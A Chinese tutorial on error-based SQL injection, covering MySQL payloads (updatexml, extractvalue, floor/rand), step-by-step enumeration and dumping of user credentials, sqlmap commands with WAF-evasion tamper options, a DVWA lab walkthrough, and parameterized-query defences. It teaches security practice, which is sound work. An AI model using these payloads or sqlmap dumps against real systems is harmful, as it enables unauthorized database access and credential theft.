news 2026/6/30 6:49:15

SQL注入攻防实战:从报错注入原理到DVWA靶场演练

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQL注入攻防实战:从报错注入原理到DVWA靶场演练

1. 从“报错”说起:为什么SQL注入是每个开发者的必修课

最近在社区里,看到不少朋友在讨论各种“报错”——从Vue组件的v-if判断未生效,到IntelliJ里Maven打包失败,再到CTF题目里的Laravel SQL注入。这些看似五花八门的问题,其实背后都指向同一个核心:对系统运行原理和外部输入缺乏足够的安全意识和处理能力。尤其是SQL注入,它绝不仅仅是安全研究员的专属话题。任何一个与数据库打交道的开发者,无论是写一个简单的文章管理系统,还是在DVWA、Pikachu这类靶场里练习,都可能因为一个疏忽,让整个系统门户大开。

我刚开始接触Web开发时,也觉得SQL注入离自己很远,直到有一次在排查一个诡异的“文章列表加载慢”的问题时,无意中在日志里看到了完整的数据库查询语句,里面竟然拼接了一段来自前端的、未经验证的搜索关键词。那一刻真是后背发凉。从那时起,我就把系统地理解SQL注入当成了必须补上的一课。这个系列,我就从一个从业者的角度,结合最常见的“报错”场景,来拆解SQL注入的方方面面。我们不讲空泛的理论,就从一次真实的、由错误信息引发的安全漏洞分析开始,把原理、手法、防御和实战中的坑,一个个讲透。

2. 基石:理解SQL注入的本质与“报错”的价值

2.1 到底什么是SQL注入?

抛开教科书定义,用大白话讲,SQL注入就是“让程序执行了它原本不该执行的SQL语句”。它的根源在于,程序将用户输入的数据,和代码中编写好的SQL语句框架,不加区分地“拼接”在了一起。

想象一个简单的登录场景。后端代码可能是这样的(以PHP为例):

$username = $_POST['username']; $password = $_POST['password']; $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

这是一个经典的字符串拼接。如果用户老实地输入admin123456,那么SQL语句就是:

SELECT * FROM users WHERE username = 'admin' AND password = '123456'

这没问题。但如果用户在用户名输入框里输入的不是admin,而是admin' --呢?拼接后的SQL语句就变成了:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'xxx'

在SQL中,--是注释符,它会让后面的所有内容都被数据库忽略。于是,这条语句的实际效果变成了:

SELECT * FROM users WHERE username = 'admin'

它直接绕过了密码验证!这就是最基础的注入原理:通过插入SQL元字符(如单引号'、注释符--#),改变原语句的逻辑结构。

注意:这里演示的是最原始、最不安全的代码写法。现代开发框架和ORM已经很大程度上避免了这种低级错误,但理解原理是防御的基础。很多遗留系统、内部工具,或者开发者安全意识不足时,这类问题依然广泛存在。

2.2 “报错”为什么是注入攻击的突破口?

在安全测试中,“报错信息”是极其宝贵的资源。它就像数据库在对你“说话”,告诉你哪里出错了。对于攻击者而言,详细的报错信息可以直接暴露数据库结构、字段名、甚至部分数据。

很多开发者为了调试方便,会在开发环境甚至生产环境中开启数据库的详细错误回显。比如,在MySQL中,如果执行了错误的SQL,可能会返回类似这样的信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin' -- ' AND password = 'xxx'' at line 1

这条信息本身可能就包含了部分用户输入。而更高级的“报错注入”技巧,则是主动构造一个能引发数据库报错的输入,并将我们想窃取的数据(如数据库名、版本、表内容)包含在报错信息中带出来。

例如,利用MySQL的updatexml()extractvalue()函数,它们在处理非法格式的XML路径时会报错,并将路径参数的内容显示在错误信息里:

AND updatexml(1, concat(0x7e, (SELECT version()), 0x7e), 1)

如果注入点存在,这条语句可能会导致数据库返回如下错误:

XPATH syntax error: '~5.7.36~'

这样,攻击者就通过报错信息拿到了数据库的版本号5.7.36。这就是“报错注入”(Error-based Injection)的核心思路:故意制造错误,让数据库在“抱怨”时泄露秘密

实操心得:在真正的渗透测试或CTF比赛中,判断一个注入点是否存在,第一步往往就是尝试触发一个错误。比如在参数后加一个单引号',观察页面是否从正常的显示结果变为白屏、显示部分错误信息,或者返回一个不同的错误页面。这种变化是注入存在的强烈信号。在DVWA、Pikachu这类靶场的低级难度中,通常会开启错误回显,就是让你练习如何利用这些信息。

3. 深入报错注入:手法、函数与实战流程

3.1 常见的报错注入函数解析

不同的数据库管理系统(DBMS)有不同的函数可以用来触发报错。掌握它们,就像掌握了不同锁的钥匙。这里以最常见的MySQL为例,列举几个经典函数:

  1. updatexml(): 用于更新XML文档内容。它的报错注入利用点是第二个参数(XPath路径)。当XPath格式错误时,它会将错误路径的内容返回。

    • 语法updatexml(XML_document, XPath_string, new_value)
    • 利用方式:构造一个非法的XPath,比如以~^等特殊字符开头,并将想查询的数据拼接进去。
    • 示例Payload?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
    • 可能返回XPATH syntax error: '~root@localhost~'
  2. extractvalue(): 用于从XML文档中提取值。原理与updatexml()类似,利用第二个参数(XPath)的格式错误。

    • 语法extractvalue(XML_document, XPath_string)
    • 示例Payload?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
    • 可能返回XPATH syntax error: '~dvwa~'
  3. floor()+rand()+group by: 这是一个基于主键重复的报错,不依赖特定函数,但利用方式固定。

    • 原理rand()函数在group byorder by子句中多次执行时,可能导致主键冲突而报错。
    • 示例Payload?id=1' and (select 1 from (select count(*),concat((select version()),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
    • 可能返回Duplicate entry '5.7.361' for key 'group_key'(版本号5.7.36被包含在报错信息中)
  4. exp(): 指数函数,当参数过大导致溢出时会报错(适用于MySQL 5.5.5+)。

    • 示例Payload?id=1' and exp(~(select*from(select user())a))--+

注意事项

  • updatexml()extractvalue()对返回数据的长度有限制(通常约32个字符),适合查询短数据,如版本、用户、当前数据库名。查询长数据(如表内容)需要结合substr()mid()函数进行截取,分多次报错获取。
  • floor()报错法能返回更长的数据,但Payload构造相对复杂。
  • 这些函数在MySQL 5.1+版本中普遍存在,但具体可用性需视环境配置而定。实战中需要逐一尝试。

3.2 手工报错注入实战流程拆解

假设我们在测试一个网站,发现URL参数?id=1在页面显示文章内容,而?id=1'时页面返回了数据库错误信息。我们怀疑这里存在基于错误的SQL注入。以下是手工探测和利用的标准流程:

第一步:确认注入点与数据库类型

  1. 输入?id=1' and '1'='1页面正常。
  2. 输入?id=1' and '1'='2页面无内容或异常。 这初步说明单引号被用于字符串包裹,且我们的逻辑语句影响了查询结果。
  3. 通过报错信息特征或函数试探判断数据库。MySQL的典型错误信息会包含“You have an error in your SQL syntax”。也可以用version()函数试探:?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)--+,如果报错信息中包含版本号,则确认是MySQL。

第二步:利用报错获取基本信息

  1. 当前数据库用户?id=1' and updatexml(1,concat(0x7e,user(),0x7e),1)--+
  2. 当前数据库名?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
  3. 数据库版本?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)--+

第三步:枚举数据库中的表名这里需要用到information_schema.tables系统表,它存储了所有表的信息。

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+
  • table_schema=database():限定当前数据库。
  • limit 0,1:从第0行开始,取1条结果。通过递增limit 1,1limit 2,1...可以遍历所有表。
  • 由于updatexml长度限制,如果表名很长,可能需要结合substr()函数分段获取。

第四步:枚举指定表中的字段名假设我们猜解到有一个名为users的表。

?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)--+

同样通过修改limit参数来遍历字段,常见的用户表字段可能有id,username,password,email等。

第五步:提取目标数据假设我们确认users表中有usernamepassword字段。

?id=1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e),1)--+

这条语句尝试取出第一条记录的用户名和密码,并用冒号连接。如果数据过长,报错信息可能被截断,需要配合substr()函数分段读取:

?id=1' and updatexml(1,concat(0x7e,substr((select concat(username,':',password) from users limit 0,1),1,30),0x7e),1)--+

然后修改substr()的起始位置参数,获取后续部分。

踩坑实录:在实际手工注入时,最麻烦的往往是数据截断特殊字符转义。比如密码字段可能是哈希值(如MD5),包含<>等XML特殊字符,这可能导致updatexml报错函数本身解析失败,不返回我们想要的数据。此时可以尝试使用hex()函数先将数据转换为十六进制,报错输出后再解码。或者换用floor()报错法,它对数据格式的限制更少。

4. 从手工到工具:SQLMap在报错注入中的高效利用

手工注入是理解原理的必经之路,但在效率至上的渗透测试或CTF比赛中,合理利用工具才是王道。SQLMap是自动化SQL注入检测和利用的标杆工具,它对报错注入的支持非常成熟。

4.1 使用SQLMap进行基础报错注入探测

假设目标URL是http://target.com/page.php?id=1

  1. 基础检测:在终端中运行最基本命令,SQLMap会自动尝试各种注入技术,包括布尔盲注、时间盲注和报错注入。

    sqlmap -u "http://target.com/page.php?id=1"

    如果SQLMap检测到注入点,它会提示你使用的参数、数据库类型和注入技术。

  2. 指定使用报错注入技术:如果你通过手工测试已经强烈怀疑是报错注入,可以指定技术来提高效率。

    sqlmap -u "http://target.com/page.php?id=1" --technique=E

    参数--technique=E告诉SQLMap主要使用Error-based(报错注入)技术。

  3. 获取当前用户和数据库

    sqlmap -u "http://target.com/page.php?id=1" --current-user --current-db

4.2 利用SQLMap进行完整的数据提取

  1. 枚举所有数据库

    sqlmap -u "http://target.com/page.php?id=1" --dbs
  2. 枚举指定数据库的所有表(假设数据库名为app_db):

    sqlmap -u "http://target.com/page.php?id=1" -D app_db --tables
  3. 枚举指定表的所有字段(假设表名为users):

    sqlmap -u "http://target.com/page.php?id=1" -D app_db -T users --columns
  4. 导出指定字段的数据(假设字段为username,password):

    sqlmap -u "http://target.com/page.php?id=1" -D app_db -T users -C "username,password" --dump

    --dump参数会将该字段的所有数据导出并保存到本地。

4.3 SQLMap高级参数与避坑指南

  • 处理复杂的Cookie或Session:如果页面需要登录,你需要将浏览器的Cookie复制下来,用--cookie="..."参数传递给SQLMap。

    sqlmap -u "http://target.com/vuln.php?id=1" --cookie="PHPSESSID=abc123; security=low"

    在DVWA靶场中,你需要将安全级别设置为LowMedium,并登录后复制Cookie进行测试。

  • 设置超时与重试:网络不稳定或目标响应慢时,可以调整延迟和重试。

    sqlmap -u "http://target.com/page.php?id=1" --time-sec=5 --retries=3

    --time-sec设置每个HTTP请求的延迟秒数(用于时间盲注,报错注入时影响不大),--retries设置超时重试次数。

  • 使用代理:为了隐匿踪迹或调试流量,可以通过代理发送请求。

    sqlmap -u "http://target.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

    这样你可以用Burp Suite等工具拦截查看SQLMap发出的具体Payload,对于学习Payload构造非常有帮助。

  • 常见问题排查

    • SQLMap不工作或误报:首先确认目标URL可正常访问。使用--batch参数让SQLMap以非交互模式运行,自动选择默认选项。使用--flush-session清除之前的扫描缓存重新测试。
    • WAF(Web应用防火墙)拦截:如果遇到WAF,SQLMap可能会被阻断。可以尝试使用--tamper参数调用脚本对Payload进行混淆。例如,--tamper=space2comment将空格替换为注释。SQLMap内置了很多tamper脚本,位于其tamper/目录下。
    • 数据提取不完整:对于报错注入,如果数据被截断,SQLMap有时会自动尝试分块获取。你也可以手动指定使用substringmid函数进行分片查询,但这通常需要更深入的手工干预。

个人体会:SQLMap很强大,但绝不能当“黑盒”工具用。我建议初学者在每次使用SQLMap时,都加上-v 3-v 4参数(详细输出级别),观察它发送的每一个Payload。这能让你直观地看到自动化工具是如何实现我们手工步骤的,比如它是如何构造updatexml报错语句、如何递增limit参数枚举表名的。理解了这个过程,你才能真正掌握注入的精髓,并在工具失效时知道如何手动调整。

5. 靶场实战:在DVWA中复现与剖析报错注入

理论说得再多,不如亲手试一次。DVWA(Damn Vulnerable Web Application)是一个专为安全练习搭建的PHP/MySQL漏洞环境,它的SQL注入模块设置了从易到难的不同安全等级,非常适合我们演练。

5.1 DVWA环境搭建与安全等级设置

  1. 搭建:推荐使用XAMPP、WAMP等集成环境,将DVWA源码放入Web服务器目录(如htdocs),根据其config/config.inc.php.dist文件创建配置文件并设置数据库连接。详细步骤网上很多,核心是确保PHP和MySQL服务正常运行。
  2. 登录:默认地址http://localhost/dvwa,默认账号admin,密码password
  3. 设置安全等级:在左侧“DVWA Security”页面,将安全级别设为Low。这个级别下,服务端几乎没有任何防护,错误信息完全回显,是我们学习原理的最佳环境。

5.2 Low级别下的报错注入全流程

进入“SQL Injection”页面,你会看到一个简单的用户ID查询框。

第一步:探测注入点输入1',点击提交。页面很可能会直接返回详细的MySQL错误信息,这证实了注入点的存在,并且错误信息是可见的——这是报错注入的理想条件。

第二步:获取数据库信息在输入框中构造Payload,而不是直接在URL里操作(因为这是一个POST表单)。

  • Payload 1 (获取当前用户和数据库)
    1' and updatexml(1,concat(0x7e,user(),0x7e,database()),1) #
    注意,在DVWA的Low级别下,注释符使用#(需要URL编码为%23)或--(注意后面有个空格)都可以。这里为了表单输入方便,直接用#。提交后,页面会显示XPATH语法错误,并在错误信息中看到root@localhostdvwa

第三步:枚举表名

  • Payload 2 (获取第一个表名)
    1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) #
    提交后,可能会得到类似XPATH syntax error: '~guestbook~'的错误,说明第一个表是guestbook
  • Payload 3 (获取第二个表名)
    1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1) #
    这次可能会得到'~users~'users表正是我们的目标。

第四步:枚举users表的字段

  • Payload 4 (获取users表的第一个字段)
    1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1) #
    可能会得到'~user_id~'。继续修改limit参数为1,12,1... 直到找到userpassword字段(在DVWA中,字段名可能是userpassword)。

第五步:提取用户凭证

  • Payload 5 (获取第一条用户记录)
    1' and updatexml(1,concat(0x7e,(select concat(user,':',password) from users limit 0,1),0x7e),1) #
    提交后,报错信息可能会显示'~admin:5f4dcc3b5aa765d61d8327deb882cf99~'。这就是用户admin的密码MD5哈希值。你可以去MD5解密网站尝试破解(5f4dcc3b5aa765d61d8327deb882cf99对应明文password)。

5.3 Medium与High级别的挑战与绕过思路

将DVWA安全级别调到MediumHigh,你会发现世界变了。

  • Medium级别:通常会将错误信息关闭,页面在SQL出错时可能只返回一个通用的错误页或空白页。这意味着基于错误回显的报错注入可能失效。此时,攻击思路需要转向盲注(Blind Injection),即通过页面返回内容的真假(布尔盲注)或响应时间的差异(时间盲注)来推断数据。SQLMap的--technique=B(布尔盲注)或--technique=T(时间盲注)参数在这种情况下派上用场。
  • High级别:防御措施更强,可能使用了严格的输入过滤、预处理语句分离了数据与指令,或者将用户输入限制在非常小的范围内。这时,传统的注入方法可能完全无效,需要寻找其他逻辑漏洞或二次注入点。

靶场心得:在DVWA中练习,一定要对比不同安全等级下的代码差异(源码在vulnerabilities/sqli/source/目录下)。看看Low级别那毫无防护的mysql_query()和字符串拼接,再对比High级别使用的mysqli_prepare()和绑定参数,你就能直观地理解“为什么预处理语句能防注入”。这种对比学习,比死记硬背防御原则有效得多。

6. 防御之道:从根源上杜绝SQL注入

理解了攻击,才能更好地防御。防御SQL注入的核心原则就一条:永远不要信任用户输入,严格分离代码(指令)和数据

6.1 治本之策:使用参数化查询(预编译语句)

这是目前公认最有效、最根本的防御手段。它的原理是,SQL语句的模板(包含占位符)在发送到数据库前就先被编译(预编译),用户输入的数据随后作为“参数”单独传递进去。数据库引擎明确知道哪里是指令、哪里是数据,因此无论参数内容是什么,都无法改变原有SQL语句的结构。

  • PHP (PDO) 示例
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password"); $stmt->execute(['username' => $username, 'password' => $password]); $user = $stmt->fetch();
  • PHP (MySQLi) 示例
    $stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->bind_param("ss", $username, $password); // "ss"表示两个字符串参数 $stmt->execute(); $result = $stmt->get_result();
  • Python (PyMySQL/sqlite3) 示例
    cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
  • Java (JDBC) 示例
    PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?"); stmt.setString(1, username); stmt.setString(2, password); ResultSet rs = stmt.executeQuery();

关键点:务必使用API提供的参数绑定方法(如bind_param,execute(array)),而不是自己用字符串拼接占位符。后者依然是危险的。

6.2 辅助措施与深度防御

虽然参数化查询是首选,但在一些复杂动态查询(如动态表名、排序字段)无法使用参数化时,或作为深度防御策略,还需要其他手段:

  1. 输入验证与过滤

    • 白名单:对于已知有限集合的输入(如状态值、类型选项),严格限定只允许白名单内的值。例如,$order = in_array($_GET['order'], ['asc', 'desc']) ? $_GET['order'] : 'asc';
    • 类型强制转换:对于期望是数字的输入(如ID),直接转换为整型:$id = (int)$_GET['id'];
    • 谨慎使用过滤函数:如PHP的mysqli_real_escape_string(),它只能用于转义字符串中的特殊字符,且必须知道字符集。它不能用于数字,且在复杂查询中容易出错,不应作为主要防御手段,只能作为补充。
  2. 最小权限原则:为Web应用连接数据库分配一个仅具有必要权限的账户(如只有特定表的SELECT、INSERT权限,没有DROP、CREATE等权限)。这样即使发生注入,危害也能被限制。

  3. 关闭错误回显:在生产环境中,务必关闭数据库错误的详细回显。将PHP的display_errors设置为Off,使用自定义错误页面。这能有效增加攻击者利用报错注入的难度。

  4. 使用Web应用防火墙(WAF):WAF可以作为一道外围防线,基于规则库拦截常见的攻击Payload。但它可能被绕过,不能替代安全的代码编写。

  5. 定期安全审计与代码扫描:使用静态代码分析工具(如SonarQube, Fortify)或依赖组件漏洞扫描工具,定期检查代码中的安全隐患。

6.3 现代开发框架中的最佳实践

如果你在使用现代框架(如Laravel, Django, Spring Boot),它们通常已经内置了良好的防护:

  • Laravel (Eloquent ORM): 使用查询构造器或Eloquent模型,它们默认使用参数绑定。
    // 安全的 $users = DB::table('users')->where('name', $inputName)->get(); $users = User::where('name', $inputName)->get(); // 危险的!不要这样用 $users = DB::select("SELECT * FROM users WHERE name = '$inputName'");
  • Django (ORM): 同样,使用ORM是安全的。
    User.objects.filter(username=username) # 安全
  • Spring Boot (JPA/Hibernate): 使用CrudRepositoryJdbcTemplate的参数化查询。

框架使用警示:即使使用框架,如果开发者不当心,仍然可能写出不安全的代码,例如在Django中使用extra()RawSQL,在Laravel中直接使用DB::raw()拼接用户输入。永远不要将用户可控的数据直接传入执行原始SQL的方法中。

7. 进阶思考:报错注入的变种与未来

报错注入并非一成不变,随着数据库版本更新和安全意识的提高,一些老的函数可能被限制,但新的利用方式也可能出现。

  • JSON函数报错注入: 在现代MySQL(5.7+)和PostgreSQL中,JSON相关的函数(如json_extract(),json_object())如果处理非法JSON路径或数据,也可能产生报错信息泄露。攻击者正在探索这些新函数在注入中的利用可能。
  • 二阶SQL注入: 这是一种更隐蔽的注入。用户输入第一次被存入数据库时经过了转义或处理是安全的。但当这些数据被从数据库中取出,并再次拼接到另一个SQL查询中时,如果这次拼接没有防护,就会发生注入。防御二阶注入的关键在于,任何来自不可信源(包括数据库)的数据,在参与拼接SQL时,都必须被视为新的输入并进行净化或参数化
  • NoSQL注入: 在MongoDB等NoSQL数据库中,虽然传统SQL语法不适用,但通过操作符(如$where,$gt)的滥用,也可能实现类似的注入攻击,其原理同样是混淆了指令和数据的边界。

对于开发者而言,保持学习,理解每一种防御机制的原理和局限,比单纯依赖某一种技术更重要。安全是一个持续的过程,而不是一个可以一劳永逸开启的开关。每次处理用户输入、每次与数据库交互时,都多问一句“这里的数据和指令分清楚了吗?”,就能避免绝大多数注入漏洞。而对于安全研究者,理解这些攻击手法的演变,则能帮助我们构建更具韧性的防御体系。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/30 6:49:01

示波器垂直分辨率与档位设置关系

在实际波形测量过程中&#xff0c;选用不同的垂直档位&#xff0c;往往会测得不同的波形峰值&#xff1b;若选用量程过大的垂直档位&#xff0c;还会出现明显的电压测量偏差&#xff0c;核心原因是示波器在不同量程下的量化误差存在显著差异。 示波器的垂直分辨率与设置的量程&…

作者头像 李华
网站建设 2026/6/30 6:45:45

苹果手机录音软件app哪个好用 2026实测说清免费额度够不够用

先说明白核心判断 针对苹果手机端&#xff0c;面向企业管理者做决策记录、会议整理、峰会内容消化的需求&#xff0c;不同工具对应不同场景&#xff1a;仅单次轻量转写选网易见外&#xff0c;全团队用飞书直接选飞书妙记&#xff0c;阿里生态用户选通义听悟&#xff0c;需要AI…

作者头像 李华
网站建设 2026/6/30 6:45:05

计算机毕业设计之基于SSM框架的二手书籍交易平台的设计与实现

随着网络科技的不断发展以及人们经济水平的逐步提高&#xff0c;网络技术如今已成为人们生活中不可缺少的一部分&#xff0c;而信息管理系统是通过计算机技术&#xff0c;针对用户需求开发与设计&#xff0c;该技术尤其在各行业领域发挥了巨大的作用&#xff0c;有效地促进了二…

作者头像 李华
网站建设 2026/6/30 6:44:30

如何高效获取QQ音乐资源:完整解析教程与API接口实战指南

如何高效获取QQ音乐资源&#xff1a;完整解析教程与API接口实战指南 【免费下载链接】MCQTSS_QQMusic QQ音乐解析 项目地址: https://gitcode.com/gh_mirrors/mc/MCQTSS_QQMusic MCQTSS_QQMusic是一个强大的Python工具&#xff0c;专为技术开发者和音乐爱好者设计&#…

作者头像 李华